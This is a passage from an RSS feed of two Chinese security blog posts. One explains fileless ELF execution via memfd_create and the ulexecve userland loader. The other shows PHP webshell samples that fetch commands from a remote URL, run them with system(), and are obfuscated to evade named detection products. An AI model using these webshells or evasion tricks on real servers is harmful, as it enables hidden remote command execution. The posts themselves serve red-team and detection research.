#5c6370;font-style: italic;line-height: 26px;"># strace sleep 1000 2&gt;&amp;1|grep execve</span><br/>execve(<span style="color: #98c379;line-height: 26px;">&#34;/usr/bin/sleep&#34;</span>, [<span style="color: #98c379;line-height: 26px;">&#34;sleep&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;1000&#34;</span>], 0x7ffdb98242f8 /* 40 vars */) = 0<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">其中<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/usr/bin/sleep</code>文件因为在本地存储，所以可能被主机上的安全产品做静态分析，如果是恶意样本就有可能暴露攻击行为。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为了对抗静态分析，蓝军可以让攻击样本不落盘，比如用如下memfd_create的方式</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">fdm = syscall(__NR_memfd_create, <span style="color: #98c379;line-height: 26px;">&#34;elf&#34;</span>, MFD_CLOEXEC);<br/>write(fdm, elfbuf, filesize);<br/>sprintf(cmd, <span style="color: #98c379;line-height: 26px;">&#34;/proc/self/fd/%d&#34;</span>, fdm);<br/>execve(cmd, argv, NULL);<br/></code></pre><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">完整代码可以见 <a href="https://github.com/QAX-A-Team/ptrace/blob/master/anonyexec.c" target="_blank">https://github.com/QAX-A-Team/ptrace/blob/master/anonyexec.c</a></p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但是这种攻击行为会产生memfd_create和execve两个系统调用，特征很明显，于是又有蓝军提到在用户态加载elf并执行，这样既可以样本不落盘，又可以避免用到execve被安全产品采集到进程数据。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://github.com/anvilsecure/ulexecve/blob/main/ulexecve.py" target="_blank">https://github.com/anvilsecure/ulexecve/blob/main/ulexecve.py</a> 这个开源项目就实现了用户态的elf装载。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">elf装载的原理不复杂，基本步骤是通过mmap、mprotect系统调用申请到&#34;可读可写可执行&#34;的内存，然后将PT_LOAD类型的segment映射到内存中，最后根据e_entry跳转到映射到内存的代码段中执行。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">有两个疑问促使我研究，第一个问题是elf装载时内存地址空间不会和装载前的内存地址空间冲突吗，第二个问题是怎么处理动态链接库。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本文记录在我研究过程中学到的&#34;散装知识点&#34;，希望对你有点帮助。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>elf装载时内存地址空间不会和装载前的ulexecve程序内存地址空间冲突吗</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">python ulexecve.py</code>加载elf时有可能破坏原来的python程序指令，导致程序崩溃？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">实际上不会，ulexecve有一个&#34;jump buffer&#34;的概念，ulexecve.py会先生成&#34;elf loader&#34;指令，然后申请一个&#34;jump buffer&#34;内存，最后跳转到内存执行。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">def prepare_jumpbuf(buf):<br/>    dst = mmap(0, PAGE_CEIL(len(buf)), PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)<br/>    src = ctypes.create_string_buffer(buf)<br/>    logging.debug(<span style="color: #98c379;line-height: 26px;">&#34;Memmove(0x%.8x, 0x%.8x, 0x%.8x)&#34;</span> % (dst, ctypes.addressof(src), len(buf)))<br/>    memmove(dst, src, len(buf))<br/>    ret = mprotect(PAGE_FLOOR(dst), PAGE_CEIL(len(buf)), PROT_READ | PROT_EXEC)<br/>    ...<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> ctypes.cast(dst, ctypes.CFUNCTYPE(c_void_p))<br/>cfunction = prepare_jumpbuf(jumpbuf)<br/>cfunction()<br/></code></pre><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>怎么处理动态链接库</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">处理动态库是&#34;动态链接器&#34;的工作，而不是&#34;程序装载器&#34;的工作。&#34;程序装载器&#34;设置好栈环境、辅助向量(auxilliary vector)，就可以把程序控制权交给&#34;动态链接器&#34;。如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">def generate(self, stack, jump_delay=None):<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># generate jump buffer with the CPU instructions which copy all</span><br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># segments to the right locations in memory, set the correct protection</span><br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># flags on those memory segments and then prepare for the actual jump</span><br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># into hail mary land.</span><br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># generate ELF loading code for the executable as well as the</span><br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># interpreter if necessary</span><br/>    ret = []<br/>    code = self.generate_elf_loader(self.exe) <span style="color: #5c6370;font-style: italic;line-height: 26px;"># 1.拷贝elf segment到虚拟内存</span><br/>    ret.append(code)<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># fix up the auxv vector with the proper relative addresses too</span><br/>    code = self.generate_auxv_fixup(stack, Stack.OFFSET_AT_PHDR, self.exe.e_phoff)  2.设置辅助向量<br/>    ret.append(code)<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># fix up the auxv vector with the proper relative addresses too</span><br/>    code = self.generate_auxv_fixup(stack, Stack.OFFSET_AT_ENTRY, self.exe.e_entry, self.exe.is_pie)  3.设置辅助向量<br/>    ret.append(code)<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> self.interp: <span style="color: #5c6370;font-style: italic;line-height: 26px;"># 4.如果有动态链接器，就从动态链接器的入口执行</span><br/>        code = self.generate_elf_loader(self.interp)  <span style="color: #5c6370;font-style: italic;line-height: 26px;"># 4.1.拷贝动态链接器 segment到虚拟内存</span><br/>        ret.append(code)<br/>        code = self.generate_auxv_fixup(stack, Stack.OFFSET_AT_BASE, 0) <span style="color: #5c6370;font-style: italic;line-height: 26px;"># 4.2.设置辅助向量</span><br/>        ret.append(code)<br/>        entry_point = self.interp.e_entry<br/>    <span style="color: #c678dd;line-height: 26px;">else</span>: <span style="color: #5c6370;font-style: italic;line-height: 26px;"># 4.如果没有动态链接器，就从elf入口执行</span><br/>        entry_point = self.exe.e_entry<br/>        <span style="color: #c678dd;line-height: 26px;">if</span> not self.exe.is_pie:<br/>            entry_point -= self.exe.ph_entries[0][<span style="color: #98c379;line-height: 26px;">&#34;vaddr&#34;</span>]<br/>    self.log(<span style="color: #98c379;line-height: 26px;">&#34;Generating jumpcode with entry_point=0x%.8x and stack=0x%.8x&#34;</span> % (entry_point, stack.base))<br/>    code = self.generate_jumpcode(stack.base, entry_point, jump_delay)  5.生成<span style="color: #98c379;line-height: 26px;">&#34;从入口执行&#34;</span>的指令<br/>    ret.append(code)<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> b<span style="color: #98c379;line-height: 26px;">&#34;&#34;</span>.join(ret)<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">上面代码中可以看到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">self.exe.is_pie</code>影响程序入口地址，这个pie是什么呢？</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>pie和aslr</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">pie和aslr一样都可以实现地址随机化，防御漏洞利用。区别在于aslr不负责代码段以及数据段的随机化工作，这项工作由pie负责。但是只有在开启aslr之后，pie才会生效。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">下面我们可以结合ulexecve代码和动手实践，看一下pie到底是怎么工作的。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果elf文件有pie机制，mmap第一个地址参数就是0。此时如果开启了aslr，mmap系统调用返回的地址就会一个随机化的地址。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">def generate_elf_loader(self, elf):<br/>    ...<br/>    addr = 0x0 <span style="color: #c678dd;line-height: 26px;">if</span> elf.is_pie <span style="color: #c678dd;line-height: 26px;">else</span> elf.ph_entries[0][<span style="color: #98c379;line-height: 26px;">&#34;vaddr&#34;</span>]<br/>    ...<br/>    code = self.mmap(addr, map_sz, prot, flags)<br/>    ret.append(code)<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">怎么判断elf程序是否开启pie机制呢？从下面代码可以看到，第一个PT_LOAD类型的segment虚拟地址是0时，就说明开启了pie。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">def parse_pentry(self):<br/>    ...<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># first PT_LOAD section we use to identifie PIE status</span><br/>    <span style="color: #c678dd;line-height: 26px;">if</span> len(self.ph_entries) == 0:<br/>        <span style="color: #c678dd;line-height: 26px;">if</span> p_vaddr != 0x0:<br/>            self.log(<span style="color: #98c379;line-height: 26px;">&#34;Identified as a non-PIE executable&#34;</span>)<br/>            self.is_pie = False<br/>        <span style="color: #c678dd;line-height: 26px;">else</span>:<br/>            self.log(<span style="color: #98c379;line-height: 26px;">&#34;Identified as a PIE executable&#34;</span>)<br/>            self.is_pie = True<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当你用gcc --pie参数编译时，文件的第一个PT_LOAD类型的segment虚拟地址就会是0。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv tmp]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># gcc -fPIC --pie z.c</span><br/>[root@instance-h9w7mlyv tmp]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># readelf -l ./a.out</span><br/>...<br/>Program Headers:<br/>  Type           Offset             VirtAddr           PhysAddr<br/>                 FileSiz            MemSiz              Flags  Align<br/>  ...<br/>  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000   <span style="color: #5c6370;font-style: italic;line-height: 26px;"># 参数带--pie时，VirtAddr为0</span><br/>                 0x0000000000000898 0x0000000000000898  R E    0x200000<br/>  LOAD           0x0000000000000de0 0x0000000000200de0 0x0000000000200de0<br/>                 0x0000000000000254 0x0000000000000258  RW     0x200000<br/>[root@instance-h9w7mlyv tmp]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># gcc -fPIC z.c</span><br/>[root@instance-h9w7mlyv tmp]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># readelf -l ./a.out</span><br/>...<br/>Program Headers:<br/> Type           Offset             VirtAddr           PhysAddr<br/>                FileSiz            MemSiz              Flags  Align<br/> ...<br/> LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># 非--pie时，VirtAddr不为0</span><br/>                0x0000000000000808 0x0000000000000808  R E    0x200000<br/> LOAD           0x0000000000000e00 0x0000000000600e00 0x0000000000600e00<br/>                0x000000000000022c 0x0000000000000230  RW     0x200000<br/></code></pre><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">文中有一些概念我并没有解释，比如elf文件格式、segment是什么，这一块你可以参考《程序员的自我修养—链接、装载与库》、<span style="color: #1e6bb8;font-weight: bold;">ELF 格式解析</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>，辅助向量的知识你可以参考 <a href="https://lwn.net/Articles/519085/" target="_blank">https://lwn.net/Articles/519085/</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">ulexecve代码中的注释非常清晰，原作者还写了一篇博客 <span style="color: #1e6bb8;font-weight: bold;">Userland Execution of Binaries Directly from Python</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[2]</sup></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">感觉&#34;动态链接器&#34;要比&#34;程序装载器&#34;要复杂，以后有场景了再研究。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">留一个思考问题：怎么检测elf loader呢，以及作为蓝军可以怎么优化elf loader来避免检测呢？</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">ELF 格式解析: <em><a href="https://paper.seebug.org/papers/Archive/refs/elf/Understanding_ELF.pdf" target="_blank">https://paper.seebug.org/papers/Archive/refs/elf/Understanding_ELF.pdf</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[2]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">Userland Execution of Binaries Directly from Python: <em><a href="https://www.anvilsecure.com/blog/userland-execution-of-binaries-directly-from-python.html" target="_blank">https://www.anvilsecure.com/blog/userland-execution-of-binaries-directly-from-python.html</a></em></p></span></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485257">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b81ad32e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485257%26idx%3D1%26sn%3D7d1e956b2eff72df00496ca320fcecb0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 16 Nov 2022 19:06:00 +0800</pubDate>
    </item>
    <item>
      <title>webshell绕过案例</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485252&amp;idx=1&amp;sn=2d21d3d4566a46464894fabafffafec9</link>
      <description>背景在研究基于netfilter的后门时，我想到如果webshell可以创建af_packet、af_net</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2022-11-06 20:37</span> <span style="display: inline-block;">北京</span>
</p>

<p>背景在研究基于netfilter的后门时，我想到如果webshell可以创建af_packet、af_net</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a3bdfdb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFwyeCXsWiaYwZEqY8qtsk9LWfZDs11QGZAoBa7fpjVBDqGZWmPAvgKfT9U32xbMHneoH9TuWO9PkoV56M13aRIg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在研究<a href="https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485208&amp;idx=1&amp;sn=d5f9c5b638f927452dbfc314a1fb15cf&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);overflow-wrap: break-word;font-weight: bold;border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">基于netfilter的后门</a>时，我想到如果webshell可以创建af_packet、af_netlink等socket，就可以不使用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$_POST</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$_GET</code>等方式获取用户输入，因为某些webshell检测方式会标记<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$_POST</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$_GET</code>等数据为污点，所以这种方式可以用来躲避检测。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">不过很遗憾，从 <a href="https://www.php.net/manual/en/function.socket-create.php" target="_blank">https://www.php.net/manual/en/function.socket-create.php</a> 文档中看，socket_create不支持创建af_netlink、af_packet类型的socket。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着我又想到，我可以通过&#34;端口复用&#34;创建tcp服务来获取用户输入。比如和php-fpm、ssh服务做&#34;端口复用&#34;。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在 <a href="https://cloud.tencent.com/lab/search?searchtitle=lnmp" target="_blank">https://cloud.tencent.com/lab/search?searchtitle=lnmp</a> 的实验环境里搭了一个php-fpm环境后，测试后发现无法做端口复用，猜测应该是php-fpm服务监听的socket没有用SO_REUSEPORT选项。测试代码见 <a href="https://gist.github.com/leveryd/83038ce5b53a34435c9c0888235bf7bd" target="_blank">https://gist.github.com/leveryd/83038ce5b53a34435c9c0888235bf7bd</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">似乎上面两种思路都不行，最后我就想webshell能不能从远程获取用户输入呢，这样也不用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$_POST</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$_GET</code>等变量。沿着这个思路构造了几个样本，并在<span style="color: #1e6bb8;font-weight: bold;">长亭的牧云</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>、<span style="color: #1e6bb8;font-weight: bold;">百度的webdir</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[2]</sup>验证了一下检出效果。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>测试过程</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一个样本如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">&lt;?php<br/><span style="color: #d19a66;line-height: 26px;">$cmd</span>=file_get_contents(<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://127.0.0.1:9999/cmd" target="_blank">http://127.0.0.1:9999/cmd</a>&#34;</span>);<br/>system(<span style="color: #d19a66;line-height: 26px;">$cmd</span>);<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">牧云标记出webshell，webdir没有检出。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">即使改成下面这种用eval、字符串拼接，牧云也可以检出</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">&lt;?php<br/><span style="color: #e6c07b;line-height: 26px;">eval</span>(<span style="color: #98c379;line-height: 26px;">&#39;$cmd=file_get&#39;</span>.<span style="color: #98c379;line-height: 26px;">&#39;_contents(&#34;<a href="http://127.0.0.1:9999/cmd" target="_blank">http://127.0.0.1:9999/cmd</a>&#34;);&#39;</span>);<br/>system(<span style="color: #d19a66;line-height: 26px;">$cmd</span>);<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.38996929375639716" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1954" src="https://wechat2rss.xlab.app/img-proxy/?k=e120b8bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwZEqY8qtsk9LWfZDs11QGZmTsGKWQFYscAJzDqqgFGvx5m07THP7xNV8FaAGZ0hic0aeuVa8HiarOQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">不过加入随机数后，牧云就无法检出</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">&lt;?php<br/><span style="color: #c678dd;line-height: 26px;">function</span> <span style="line-height: 26px;"><span style="color: #61aeee;line-height: 26px;">rand_char</span></span>(){<br/>        <span style="color: #d19a66;line-height: 26px;">$s</span> = substr(str_shuffle(str_repeat(<span style="color: #98c379;line-height: 26px;">&#34;1t&#34;</span>,1)), 0, 1); // 从<span style="color: #98c379;line-height: 26px;">&#34;1&#34;</span>和<span style="color: #98c379;line-height: 26px;">&#34;t&#34;</span>中随机选择一个字符<br/>        <span style="color: #e6c07b;line-height: 26px;">return</span> <span style="color: #d19a66;line-height: 26px;">$s</span>;<br/>}<br/><span style="color: #d19a66;line-height: 26px;">$r</span>=rand_char();<br/><span style="color: #e6c07b;line-height: 26px;">eval</span>(<span style="color: #98c379;line-height: 26px;">&#39;$cmd=file_ge&#39;</span>.<span style="color: #d19a66;line-height: 26px;">$r</span>.<span style="color: #98c379;line-height: 26px;">&#39;_contents(&#34;<a href="http://127.0.0.1:9999/cmd" target="_blank">http://127.0.0.1:9999/cmd</a>&#34;);&#39;</span>);<br/>system(<span style="color: #d19a66;line-height: 26px;">$cmd</span>);<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.39487179487179486" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1950" src="https://wechat2rss.xlab.app/img-proxy/?k=9e65f303&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwZEqY8qtsk9LWfZDs11QGZia30A2qvFFqAnO2zevQztjEITr8e4Mfrd8wRyf1OszSjiaFiaiaDrCficbQ%2F640%3Fwx_fmt%3Dpng"/></figure><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">rand、mt_rand 生成的随机数，牧云是可以检出的</p></blockquote><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最开始的思路是想避免<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$_POST</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$_GET</code>等常见方式获取用户输入，最终绕过还是得靠不常见的随机数函数。</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">file_get_contents也可以改成socket，代码见 <a 